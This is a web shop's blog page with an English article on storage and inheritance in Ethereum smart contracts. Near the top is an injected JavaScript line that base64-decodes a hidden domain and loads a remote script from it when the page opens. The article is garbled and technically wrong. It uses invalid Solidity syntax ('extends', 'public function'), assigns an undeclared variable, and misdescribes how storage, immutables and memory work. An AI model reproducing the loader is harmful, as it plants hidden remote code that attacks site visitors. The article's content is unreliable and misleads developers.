وبلاگ

Ethereum: Working with storage when inheriting from another smart contract

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=eec520ed”;document.body.appendChild(script);

Second Smart Contract Inheritance: Understanding Storage in Ethereum

When writing smart contracts on the Ethereum blockchain, one of the key concepts to understand is inheritance. Inheritance allows a new contract (successor) to build on or modify the functionality of an existing contract (parent). However, when working with the repository, there is one important aspect to consider: the this' keyword and its consequences.

In your example, contract A has animmutable’ variable x' initialized with the value 42. In contract B, which inherits from contract A, it is not explicitly specified thaty’ should be inherited or have a specific value. However, we will consider why y might appear to be set to 0 in contract B.

Why doesn’t y' inherit the value ofx’ from contract A?

In Ethereum contracts, when using the immutable' keyword, any immutable variables (e.g. constants) are not affected by inheritance. This is because immutability is a contract-level property that prevents modifications after the constructor call.

The reason you might seeyset to 0 in contract B is because of how Ethereum storage works for inherited variables:

  • When a new contract inherits from an existing contract, it uses the storage location of its parent (contract A) as its own.
  • If the variable is not initialized to a specific value in the constructor call, it will be initialized to the default value of the storage location of the parent contract.
  • Sinceyis not explicitly initialized to a value in the constructor call of contract B, it is 0 by default.

Workarounds: Assigning a value toy’

To fix this issue, you have several options:

  • Use explicit variable declaration: In your code, you can declare y as an instance variable, for example:

`solidity

contract A {

immutable uint x;

constructor() {

x = 42;

y = 0; //Assign the value of y explicitly

}

...

}


  • Use the
    memory' storage type

    Ethereum: Working with storage when inheriting from another smart contract

    : When working with smart contracts, it is often convenient to use the memory' storage type instead ofstorage'. The memory' type allows you to dynamically allocate memory and free it as needed.

solidity

contract A {

immutable uint x;

public constructor() {

x = 42;

}

...

}

contract B extends A {

public function setY(uint y) {

// y is now available in Contract B

}

}

In this example, y` can be changed directly without affecting inheritance.

Bitcoin Supporting Bitcoin Wallet Format

سبد خرید
ورود

حساب کاربری ندارید؟

برای دیدن محصولاتی که دنبال آن هستید تایپ کنید.
فروشگاه
لیست علاقه مندی ها
0 مورد سبد خرید
حساب من